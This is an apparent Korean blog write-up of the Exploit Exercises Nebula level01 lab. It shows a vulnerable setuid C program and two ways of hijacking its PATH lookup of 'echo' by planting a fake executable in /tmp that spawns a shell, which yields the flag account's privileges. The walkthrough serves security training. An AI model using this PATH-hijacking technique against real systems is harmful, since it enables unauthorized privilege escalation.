2013년 8월 1일 목요일

Exploit exercises nebular level 01

Exploit exercises nebular level 01

#include <stdlib.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp) {
gid_t gid;

uid_t uid;

gid = getegid();

uid = geteuid();

setresgid(gid, gid, gid);

setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}

1.
우선 소스를 보면 echo 가 어떤것을 실행하려하기 때문에 PATH 를 조작하여야됨을 알수있다.
그리하여
level01@nebula:/home/flag01$ PATH=/tmp:$PATH
로 조작후,
level01@nebula:/home/flag01$ export PATH level01@nebula:/home/flag01$ echo $PATH /tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin :/usr/games
를 하면 PATH 의 값에는 저렇게 들어가지게 된다. 고로 . /bin/bash 를 심볼릭 링크로 /tmp/echo 로 지정해놓고는, flag01 을 실행시키면,
echo: and: No such file or directory
다음과 같은 오류가 발생한다.
그 이유는 echo 뒤에있는 파라미터값때문에 그런것인데 그러므로, 우선
/tmp/echo rm 으로 없애주고,

level01@nebula:/home/flag01$ ln -s /bin/bash /tmp/echo2 level01@nebula:/home/flag01$ echo -e'#!/bin/bash\n/tmp/echo2' > /tmp/echo;chmod +x /tmp/echo
이런 형식으로 한다면, 원하는데로 나올수도 있을것이다. 결론은

level01@nebula:/home/flag01$ ./flag01 flag01@nebula:/home/flag01$ getflag
You have successfully executed getflag on a target account
이렇게 getflag 를 얻게된다.

2.
쉘을 실행시켜주는 프로그램을 작성하여 그 프로그램의 이름을 echo로 컴파일하여 /tmp  폴더에 넣어준후, PATH /tmp를 추가한다면, echo시 쉘을 실행시켜주는 프로그램이 실행되면서, getflag를 할수있게 된다.
#include <stdio.h>
int main()
{
      system("/bin/sh");
}

댓글 없음:

댓글 쓰기